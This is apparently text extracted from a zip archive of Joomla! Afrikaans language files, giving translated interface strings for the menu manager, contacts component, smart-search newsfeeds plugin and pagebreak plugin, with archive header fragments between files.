COM_MENUS_N_ITEMS_CHECKED_IN_MORE="%d menu items suksesvol ingeteken" COM_MENUS_N_ITEMS_DELETED_1="%d menu item suksesvol geskrap" COM_MENUS_N_ITEMS_DELETED="%d menu items suksesvol geskrap" COM_MENUS_N_ITEMS_PUBLISHED_1="%d menu item suksesvol gepubliseer" COM_MENUS_N_ITEMS_PUBLISHED="%d menu items suksesvol gepubliseer" COM_MENUS_N_ITEMS_TRASHED_1="%d menu item suksesvol gepurgeer" COM_MENUS_N_ITEMS_TRASHED="%d menu items suksesvol gepurgeer" COM_MENUS_N_ITEMS_UNPUBLISHED_1="%d menu item suksesvol ontpubliseer" COM_MENUS_N_ITEMS_UNPUBLISHED="%d menu items suksesvol ontpubliseer" COM_MENUS_N_MENUS_DELETED_1="Menu tipe suksesvol geskrap" COM_MENUS_N_MENUS_DELETED="%d menu tipes suksesvol geskrap" COM_MENUS_NO_ITEM_SELECTED="Geen menu items is gekies nie" COM_MENUS_NO_MENUS_SELECTED="Geen menu is gekies nie" COM_MENUS_OPTION_SELECT_LEVEL="- Kies Max. Vlakke -" COM_MENUS_PAGE_OPTIONS_LABEL="Bladsy Vertoon Opsies" COM_MENUS_SAVE_SUCCESS="Menu item suksesvol gestoor" COM_MENUS_SUBMENU_ITEMS="Menu Items" COM_MENUS_VIEW_EDIT_ITEM_TITLE="Menu Bestuurder: Redigeer Menu Item" COM_MENUS_VIEW_EDIT_MENU_TITLE="Menu Bestuurder: Redigeer Menu" COM_MENUS_VIEW_ITEMS_TITLE="Menu Bestuurder: Menu Items" COM_MENUS_VIEW_MENUS_TITLE="Menu Bestuurder: Menus" COM_MENUS_VIEW_NEW_ITEM_TITLE="Menu Bestuurder: Nuwe Menu Item" COM_MENUS_TOOLBAR_SET_HOME="Tuiste" COM_MENUS_HEADING_HOME="Tuiste" COM_MENUS_ITEM_DETAILS="Details" COM_MENUS_TYPE_UNKNOWN="Onbekend" COM_MENUS_ITEM_REQUIRED="Vereis" COM_MENUS_FIELD_VALUE_PARENT="Ouer" COM_MENUS_TYPE_SYSTEM="Stelsel Skakels" COM_MENUS_ITEM_FIELD_LINK_LABEL="Skakel" COM_MENUS_TYPE_SEPARATOR="Teks Separator" COM_MENUS_ITEM_FIELD_HOME_LABEL="Verstek Bladsy" COM_MENUS_LINKTYPE_OPTIONS_LABEL="Skakel Tipe Opsies" COM_MENUS_ADVANCED_FIELDSET_LABEL="Gevorderde Opsies" COM_MENUS_HEADING_UNPUBLISHED_ITEMS="# Ongepubliseer" COM_MENUS_INTEGRATION_FIELDSET_LABEL="Integrasie Opsies" COM_MENUS_TYPE_UNEXISTING="Komponent ''%s'' bestaan nie" COM_MENUS_FIELD_FEEDLINK_LABEL="Afvoer skakel" COM_MENUS_HEADING_PUBLISHED_ITEMS="# Gepubliseer" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Ouer Item" COM_MENUS_TYPE_CHOOSE="Kies 'n Menu Item Tipe:" COM_MENUS_ITEM_FIELD_LINK_DESC="Skakel vir hierdie menu" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Uitleg Opsies" COM_MENUS_TYPE_SEPARATOR_DESC="'n Teks separator." COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL="Skakel Beeld" COM_MENUS_LAYOUT_MENUTYPE_OPTIONS_LABEL="Menu Tipe Opsies" COM_MENUS_TYPE_ALIAS="Menu Item Alias" COM_MENUS_FIELD_FEEDLINK_LABEL="Afvoer skakel" COM_MENUS_ITEM_FIELD_SECURE_LABEL="Sekuur" COM_MENUS_CONFIGURATION="Menus Konfigurasie" COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL=" Menu Plek" COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL="Bladsy Klas" COM_MENUS_ITEM_FIELD_LINK_DESC="Skakel vir hierdie menu" COM_MENUS_HEADING_TRASHED_ITEMS="# Vuilis items" COM_MENUS_HEADING_PUBLISHED_ITEMS="# Gepubliseer" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Ouer Item" COM_MENUS_TYPE_CHOOSE="Kies 'n Menu Item Tipe:" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Uitleg Opsies" COM_MENUS_FIELD_VALUE_NEW_WITH_NAV="Nuwe Venster met Navigasie" COM_MENUS_BASIC_FIELDSET_LABEL="Basiese Opsies" COM_MENUS_HEADING_NUMBER_MENU_ITEMS="Aantal Menu Items" COM_MENUS_REQUEST_FIELDSET_LABEL="Vereis Instellings" COM_MENUS_ITEM_MODULE_ASSIGNMENT="Module Toewysing vir hierdie Menu Item" COM_MENUS_TYPE_SEPARATOR_DESC="'n Teks afsonderings karakter." COM_MENUS_VIEW_NEW_MENU_TITLE="Menu Bestuurder: Voeg Menu" COM_MENUS_SUCCESS_REORDERED="Menu items suksesvol herrangskik" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL="Skakel CSS Styl" COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL="Teiken Venster" COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL="Voeg Menu Titel" COM_MENUS_ITEM_FIELD_NOTE_DESC="Tik teks hier in" COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL="Bladsy Opskrif" COM_MENUS_XML_DESCRIPTION="Komponent vir die skep van menus" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC="Vertoon / Versteek die Browser Bladsy Titel in die opskrif van die bladsy ( Indien no optional teks entered - sal die verstek om te waarde based op die Menu Item Titel ). Die Bladsy opskrif word gewoonlik binne-in die "H1" merke vertoon." COM_MENUS_GRID_UNSET_LANGUAGE="Herstel %s Verstek" COM_MENUS_ITEMS_REBUILD_SUCCESS="Menu items lys suksesvol herbou" COM_MENUS_MENU_TYPE_NOT_ALLOWED="Hierdie is 'n reserveerde menutype." COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV="Nuut sonder Navigasie" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL="Skakel Titel Eienskap" COM_MENUS="Menu Bestuurder" COM_MENUS_SUBMENU_MENUS="Menus" COM_MENUS_MODULE_ACCESS_POSITION="%1 (%2 in %3)" COM_MENUS_TYPE_EXTERNAL_URL="Eksterne URL" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL="Vertoon Bladsy Opskrif" COM_MENUS_TYPE_ALIAS_DESC="Skep 'n alias na 'n ander menu item." COM_MENUS_TITLE_EDIT_ITEM="Menu Bestuurder: Titel Redigeer Item" COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL="Blaaier Bladsy Titel" COM_MENUS_ITEMS_REBUILD_FAILED="Gefaal met die herbou van Menu Items lys" COM_MENUS_ITEM_FIELD_TYPE_DESC="Die tipe van skakel: Komponent, URL, Alias of Separator" COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC="Optionele alternatiewe teks vir die Bladsy opskrif." COM_MENUS_ITEM_FIELD_LANGUAGE_DESC="Wys 'n taal toe aan hierdie menu item" COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC="'n Optionele beeld om te gebruik met die menuskakel" COM_MENUS_EDIT_MODULE_SETTINGS="Wysig module instellings" COM_MENUS_ERROR_ALREADY_HOME="Menu item reeds na 'Tuiste' gestel" COM_MENUS_ERROR_ONE_HOME="Slegs een menu item kan 'n Tuiste-skakel per taal kry" COM_MENUS_FIELD_FEEDLINK_DESC="Vertoon 'n afvoer-skakel vir hierdie menu item" COM_MENUS_HEADING_LINKED_MODULES="Modules wat met hierdie Menu geskakel is" COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC="Menu Item on na te skakel..." COM_MENUS_ITEM_FIELD_ALIAS_DESC="Die alias word in die bronadres (URL) gebruik wanneer SEF ontsper is" COM_MENUS_ITEMS_SET_HOME_0="Geen menu item is na 'n Tuiste gestel nie" COM_MENUS_ITEMS_SET_HOME_1="Een menu item is suksesvol na 'n Tuiste gestel" COM_MENUS_ITEMS_SET_HOME_MORE="%d menu items is suksesvol na 'n Tuiste gestel" COM_MENUS_TYPE_EXTERNAL_URL_DESC="' Eksterne of Interne bronadres (URL)" COM_MENUS_TIP_ASSOCIATED_LANGUAGE="%s %s (%s)" COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT="Jy is nie gemagtig om menu items te redigeer nie." COM_MENUS_BATCH_OPTIONS="Bondelverwerk die gekose menu items" COM_MENUS_HEADING_ASSOCIATION="Assosiasie" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC="'n Optionele, pasgemaakte styl om tot die menu hyperlink toe te pas." COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_LABEL="Menu Item Assosiasies" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC="'n Optionele, pasgemaakte beskrywing vir die titel-eienskap van die menu hyperlink." COM_MENUS_ITEM_FIELD_ASSIGNED_DESC="Vertoon in watter menu 'n skakel sal verskyn." COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE="- Geen assosiasie nie -" COM_MENUS_ITEM_FIELD_TITLE_DESC="Die titel van die menu item wat in die menu sal vertoon." COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE="Jy is nie gemagtig om nuwe menu items te skep nie." COM_MENUS_BATCH_MENU_LABEL="Kies Menu of Ouer-Menu om te Verskuif/Kopieer" COM_MENUS_ITEM_FIELD_SECURE_DESC="Kies of hierdie skakel SSL en die 'Secure Site URL' moet gebruik" COM_MENUS_ITEM_FIELD_TEMPLATE_DESC="Kies 'n spesifieke templet styl vir hierdie menu item of gebruik die verstek templet." COM_MENUS_MENU_DESCRIPTION_DESC="'n Beskrywing oor die doel van die menu." COM_MENUS_MENU_CONFIRM_DELETE="Is jy seker dat jy hierdie menus wil skrap? Bevestiging sal die gekose menu tipes, al hul menu items en die assosiëerde menu modules skrap." COM_MENUS_TIP_ASSOCIATION="Assosiëerde menu items" COM_MENUS_ITEM_FIELD_ORDERING_LABEL="Rangskikking" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST="- Eerste -" COM_MENUS_ADD_MENU_MODULE="Voeg 'n module by vir hierdie menu tipe." COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST="- Laaste -" COM_MENUS_TIP_ALIAS_LABEL="Waakskuwing
              Los die alias veld leeg indien die menu-item alias en die menu-item wat met die alias geskakel is, dieselfde stamboom-ouer het." COM_MENUS_ITEMS_UNSET_HOME="Een menu item suksesvol na Tuiste gestel" COM_MENUS_MENU_TITLE_DESC="Die titel om in die Administrateur Menu en -Lyste te vertoon." COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED="'n Menu item wat na Alle tale gestel is kan nie geassosieer word nie. Assosiasies is nie gestel nie." COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC="Slegs vir Multitaal! Hierdie keuse sal net vertoon as die Taalfilter parameter 'Menu Assosiasies' na 'Ja' gestel is. Kies 'n menu item vir die teikentaal. Hierdie assosiasie sal die Taal-Skakel module na die geassosieerde menu item in 'n ander taal laat herlei. Indien gebruik, maak seker dat die Taal-skalel module on die relefante bladsye vertoon word. 'n Menu item wat na die taal 'Almal' kan nie geassosieer word nie." COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC="Bestemming webblaai-venster wanneer die menu item gekliek word." COM_MENUS_ITEM_FIELD_HOME_DESC="Stel hierdie menu item as die verstek of tuisblad van die werf. Jy moet 'n verstek bladsy ten alle tye gestel hê" COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC="Indien die optionele beeld bygevoeg word, word die menu titel langs die beeld bygevoeg. Verstek is 'Ja'." COM_MENUS_ITEM_FIELD_ORDERING_DESC="Die menu item sal na die gekose menu item in die menu geplaas word " COM_MENUS_ITEM_FIELD_ORDERING_TEXT="Nuwe Orde sal beskikbaar wees na stoor" COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC="Optionele CSS klas om by elemente in hierdie bladsy te voeg. Hierdie laat CSS-styleering toe spesifiek vir hierdie bladsy." COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC="Optionle teks vir die "Webblaaier bladsy titel" element. Indien blanko, sal 'n verstek waarde gebruik word gebaseer op die Menu Item Titel." COM_MENUS_ITEMS_SEARCH_FILTER="Soek titel of alias. Voorvoegsel met ID: om vir 'n menu ID te soek." COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED="Versteek ontoegewysde Modules" COM_MENUS_EXTENSION_PUBLISHED_DISABLED="Komponent gesper en menu item gepubliseer" COM_MENUS_EXTENSION_PUBLISHED_ENABLED="Komponent ontsper en menu item gepubliseer" COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED="Komponent gesper en menu item ont-publiseer" COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED="Komponent ontsper en menu item ont-publiseer" COM_MENUS_HTML_PUBLISH_DISABLED="Publiseer menu item::Component gesper" COM_MENUS_HTML_PUBLISH_ENABLED="Publiseer menu item::Component ontsper" COM_MENUS_HTML_UNPUBLISH_DISABLED="Ont-publiseer menu item::Component gesper" COM_MENUS_HTML_UNPUBLISH_ENABLED="Ont-publiseer menu item::Component ontsper" COM_MENUS_HTML_PUBLISH_ALIAS="Publiseer die menu item alias" COM_MENUS_HTML_PUBLISH_URL="Publiseer die ekterne URL menu item" COM_MENUS_HTML_UNPUBLISH_ALIAS="Ontpubliseer die menu item alias" COM_MENUS_HTML_UNPUBLISH_URL="Ontpubliseer die eksterne URL menu item" COM_MENUS_HTML_PUBLISH_SEPARATOR="Publiseer die afsonderings menu item" COM_MENUS_HTML_UNPUBLISH_SEPARATOR="Ontpubliseer die afsonderings menu item" ; Moet nog vertaal word.. COM_MENUS_BATCH_TIP="If choosing to copy a menu item, any other actions selected will be applied to the copied menu item. Otherwise, all actions are applied to the selected menu item." PK@y>\4YPP-language/af-ZA/af-ZA.plg_finder_newsfeeds.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_finder_newsfeeds.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Slim Soek - Nuusafvoere" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Hierdie inprop-program indekseer Joomla! Nuusafvoere." PLG_FINDER_QUERY_FILTER_BRANCH_P_NEWS_FEED="Nuwesafvoere" PLG_FINDER_QUERY_FILTER_BRANCH_S_NEWS_FEED="Nuwesafvoer" PK@y>\z2language/af-ZA/af-ZA.plg_content_pagebreak.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_content_pagebreak.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_CONTENT_PAGEBREAK="Inhoud - Bladsybreuk" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Hiermee kan jy 'n multibladsy artikel pagineer, met 'n optionele inhoudstabel.

              Voeg gewoonweg bladsybreuke in d.m.v. die Bladsybreuk-knoppie onderaan die artikel se teks-paneel. Die plasing van die bladsybreuk in die artikel sal as 'n horisontale lyn in die redigeerder vertoon word.

              Die teks wat vertoon sal word hang af van die gekose opsies en kan óf titel óf alternatiewe teks (indien verskaf) óf die bladsynommer wees.

              Die HTML-kode is:
              <hr class="_QQ_"system-pagebreak"_QQ_" />
              <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Die bladsy titel"_QQ_"/> of
              <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Die eerste bladsy"_QQ_" /> of
              <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"Die bladsy titel"_QQ_" alt="_QQ_"Die eerste bladsy"_QQ_" /> of
              <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"Die eerste bladsy"_QQ_" title="_QQ_"Die bladsy titek"_QQ_" />" PK@y>\ 8V8V$language/af-ZA/af-ZA.com_contact.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_contact.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC="Kontak se Adres" COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL="Adres" COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC="Kontak se Land" COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL="Land" COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC="Kontak se E-pos" COM_CONTACT_FIELD_INFORMATION_FAX_DESC="Kontak se Faks" COM_CONTACT_FIELD_INFORMATION_FAX_LABEL="Faks" COM_CONTACT_FIELD_INFORMATION_MISC_DESC="Kontak se diverse Inligting" COM_CONTACT_FIELD_INFORMATION_MISC_LABEL="Ander Inligting" COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC="Kontak se Selfoon phone" COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL="Selfoon" COM_CONTACT_FIELD_INFORMATION_POSITION_DESC="Kontak se Posisie" COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL="Posisie" COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC="Kontak se Poskode" COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL="Poskode" COM_CONTACT_FIELD_INFORMATION_STATE_DESC="Kontak se Staat of Provinsie" COM_CONTACT_FIELD_INFORMATION_STATE_LABEL="Staat of Provinsie" COM_CONTACT_MANAGER_CONTACT="Kontak Bestuurder: Kontak" COM_CONTACT_MANAGER_CONTACTS="Kontak Bestuurder: Kontakte" COM_CONTACT_NAME_DESC="Kontak Naam" COM_CONTACT_NEW_CONTACT="Nuwe Kontak" COM_CONTACT_N_ITEMS_ARCHIVED="%d kontakte suksesvol geargiveer" COM_CONTACT_N_ITEMS_ARCHIVED_1="%d kontak suksesvol geargiveer" COM_CONTACT="Kontakte" COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL="Kontak Vertoon Opsies" COM_CONTACT_FIELD_PUBLISH_UP_LABEL="Begin Publiseer" COM_CONTACT_FIELDSET_CONTACT_FORM="Kontakvorm" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="E-pos Opsies" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="# Kontakte in Kategorie" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Vertoon of versteek die skakels." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Vertoon Skakels" COM_CONTACT_FIELDSET_CONTACT_LABEL="Kontak Vertoon Opsies" COM_CONTACT_FIELDSET_OPTIONS="Vertoon Opsies" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Vertoon die kategorie" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Vertoon of Versteek die aantal Kontakte in die kategorie" COM_CONTACT_FIELD_VALUE_ICONS="Ikone" COM_CONTACT_FIELD_VALUE_NO_LINK="Vertoon sonder Skakel" COM_CONTACT_FIELD_VALUE_TEXT="Teks" COM_CONTACT_FIELD_VALUE_WITH_LINK="Vertoon met Skakel" COM_CONTACT_SUBMENU_CATEGORIES="Kategorië" COM_CONTACT_SUBMENU_CONTACTS="Kontakte" COM_CONTACT_ICONS_SETTINGS="Ikone" COM_CONTACT_ID_LABEL="ID" COM_CONTACT_MAIL_FIELDSET_LABEL="E-pos Opsies" COM_CONTACT_N_ITEMS_CHECKED_IN_0="Geen kontak suksesvol ingeteken nie" COM_CONTACT_N_ITEMS_CHECKED_IN_1="%d kontak suksesvol ingeteken" COM_CONTACT_N_ITEMS_CHECKED_IN_MORE="%d kontakte suksesvol ingeteken" COM_CONTACT_N_ITEMS_DELETED_1="%d kontak suksesvol geskrap" COM_CONTACT_N_ITEMS_DELETED="%d kontakte suksesvol geskrap" COM_CONTACT_N_ITEMS_PUBLISHED_1="%d kontak suksesvol gepubliseer" COM_CONTACT_N_ITEMS_PUBLISHED="%d kontakte suksesvol gepubliseer" COM_CONTACT_N_ITEMS_TRASHED_1="%d kontak suksesvol gepurgeer" COM_CONTACT_N_ITEMS_TRASHED="%d kontakte suksesvol gepurgeer" COM_CONTACT_N_ITEMS_UNPUBLISHED_1="%d kontak suksesvol ontpubliseer" COM_CONTACT_N_ITEMS_UNPUBLISHED="%d kontakte suksesvol ontpubliseer" COM_CONTACT_NO_ITEM_SELECTED="Geen kontakte gekies nie" COM_CONTACT_OPTIONS="Opsies" COM_CONTACT_SAVE_SUCCESS="Kontak suksesvol gestoor" COM_CONTACT_SEARCH_IN_NAME="Deursoek kontak name" COM_CONTACT_SELECT_A_CONTACT="Kies 'n Kontak" COM_CONTACT_FIELDSET_CONTACT_FORM="Kontakvorm" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="E-pos Opsies" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="# Kontakte in Kategorie" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Vertoon of versteek die skakels." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Vertoon Skakels" COM_CONTACT_FIELDSET_CONTACT_LABEL="Kontak Vertoon Opsies" COM_CONTACT_FIELDSET_OPTIONS="Vertoon Opsies" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Vertoon die kategorie" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Vertoon of Versteek die aantal Kontakte in die kategorie" COM_CONTACT_FIELD_VALUE_ICONS="Ikone" COM_CONTACT_FIELD_VALUE_NO_LINK="Vertoon sonder Skakel" COM_CONTACT_FIELD_VALUE_TEXT="Teks" COM_CONTACT_FIELD_VALUE_WITH_LINK="Vertoon met Skakel" COM_CONTACT_CONFIGURATION="Kontak Bestuurder Opsies" COM_CONTACT_CONTACT_DETAILS="Kontak Details" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL="Verbande Onderwerp" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL="Verbande Teks" COM_CONTACT_FIELD_CONFIG_CONTACT_FORM="Vorm" COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC="Vertoon/Versteek 'n Land kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL="Land" COM_CONTACT_FIELD_CONFIG_EMAIL_DESC="Vertoon/Versteek 'n E-pos kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_FAX_DESC="Vertoon/Versteek 'n Faks kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_FAX_LABEL="Faks" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY="Kontak" COM_CONTACT_FIELD_CONFIG_MOBILE_DESC="Vertoon/Versteek show 'n Selfoon kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL="Selfoon" COM_CONTACT_FIELD_CONFIG_PHONE_DESC="Vertoon/Versteek 'n Telefoon kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_PHONE_LABEL="Telefoon" COM_CONTACT_FIELD_CONFIG_POSITION_DESC="Vertoon/Versteek 'n Posisie kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_POSITION_LABEL="Posisie" COM_CONTACT_FIELD_CONFIG_STATE_DESC="Vertoon/Versteek 'n Staat/Provinsie kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_SUBURB_DESC="Vertoon/Versteek 'n Stad of Voorstad kolom in die lys van Kontakte." COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL="Stad of Voorstad" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL="Sessie Toets" COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL="Kontak Kategorie" COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL="Adres Ikoon" COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL="Instellings" COM_CONTACT_FIELD_ICONS_MOBILE_LABEL="Selfoon Ikoon" COM_CONTACT_FIELD_ICONS_FAX_LABEL="Faks Ikoon" COM_CONTACT_FIELD_ICONS_MISC_LABEL="Diverse Ikoon" COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC="Vertoon of Versteek kontakvorm." COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL="Vertoon Kontakvorm" COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC="Kontak se Stad of Voorstad" COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL="Stad of Voorstad" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC="Kontak se Telefoon" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL="Telefoon" COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL="Telefoon Ikoon" COM_CONTACT_FIELD_IMAGE_ALIGN_DESC="Gerigdheid van die beeld" COM_CONTACT_FIELD_IMAGE_ALIGN_LABEL="Beeld gerigdheid" COM_CONTACT_FIELD_CREATED_LABEL="Skeppings-datum " COM_CONTACT_WARNING_CATEGORY="Hierdie kategorie is nie geldig nie" COM_CONTACT_WARNING_SELECT_CONTACT_TOPUBLISH="Kies asseblief 'n kontak om te publiseer" COM_CONTACT_XML_DESCRIPTION="Hierdie komponent vertoon 'n lys van kontak inligting" COM_CONTACT_SELECT_USER="Kies Gebruiker" COM_CONTACT_SHOW_EMAIL_ADDRESS_DESC="Vertoon E-pos Adres" COM_CONTACT_SHOW_EMAIL_ADDRESS_LABEL="E-pos Adres" COM_CONTACT_FIELD_VALUE_NONE="Geen" COM_CONTACT_FIELD_VALUE_PLAIN="Plein" COM_CONTACT_FIELD_NAME_DESC="Kontak Naam" COM_CONTACT_FIELD_NAME_LABEL="Naam" COM_CONTACT_FIELD_NUM_CONTACTS_DESC="Aantal Kontakte om as 'n lys te vertoon." COM_CONTACT_FIELD_NUM_CONTACTS_LABEL="Aantal kontakte" COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC="Vertoon of Versteek kontak email" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC="Vertoon of Versteek position" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL="Kontak se Posisie" COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC="Vertoon of Versteek Land" COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL="Land" COM_CONTACT_FIELD_PARAMS_FAX_DESC="Vertoon of Versteek faks nommer" COM_CONTACT_FIELD_PARAMS_FAX_LABEL="Faks" COM_CONTACT_FIELD_PARAMS_IMAGE_DESC="Kies die kontak beeld." COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL="Beeld" COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC="Vertoon of Versteek diverse inligting" COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL="Diverse Inligting" COM_CONTACT_FIELD_PARAMS_MOBILE_DESC="Vertoon of Versteek selfoon nommer" COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL="Selfoon" COM_CONTACT_FIELD_PARAMS_NAME_DESC="Vertoon naam van die kontak" COM_CONTACT_FIELD_PARAMS_NAME_LABEL="Naam" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC="Vertoon of Versteek poskode" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL="Poskode" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC="Vertoon of Versteek beeld" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL="Beeld" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC="Vertoon of Versteek staat of land" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL="Staat of Land" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC="Vertoon of Versteek straat adres" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL="Straat Adres" COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC="Vertoon of Versteek telefoon nommer" COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL="Telefoon" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC="Vertoon of versteek stad of voorstad" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL="Stad of Voorstad" COM_CONTACT_FIELD_PRESENTATION_LABEL="Vertoon formaat" COM_CONTACT_FIELD_PROFILE_SHOW_LABEL="Vertoon Profiel" COM_CONTACT_FILTER_LABEL="Filter veld" COM_CONTACT_SELECT_CONTACT_LABEL="Kies Kontak" COM_CONTACT_WARNING_PROVIDE_VALID_NAME="Verskaf asseblief 'n geldige naam" COM_CONTACT_WARNING_PROVIDE_VALID_URL="Verskaf asseblief 'n geldige URL" COM_CONTACT_DETAILS="Kontak Gegewens" COM_CONTACT_FIELD_ICONS_EMAIL_LABEL="E-pos Ikoon" COM_CONTACT_FIELD_LINKA_DESC="Beskrywing vir Skakel A" COM_CONTACT_FIELD_LINKB_DESC="Beskrywing vir Skakel B" COM_CONTACT_FIELD_LINKC_DESC="Beskrywing vir Skakel C" COM_CONTACT_FIELD_LINKD_DESC="Beskrywing vir Skakel D" 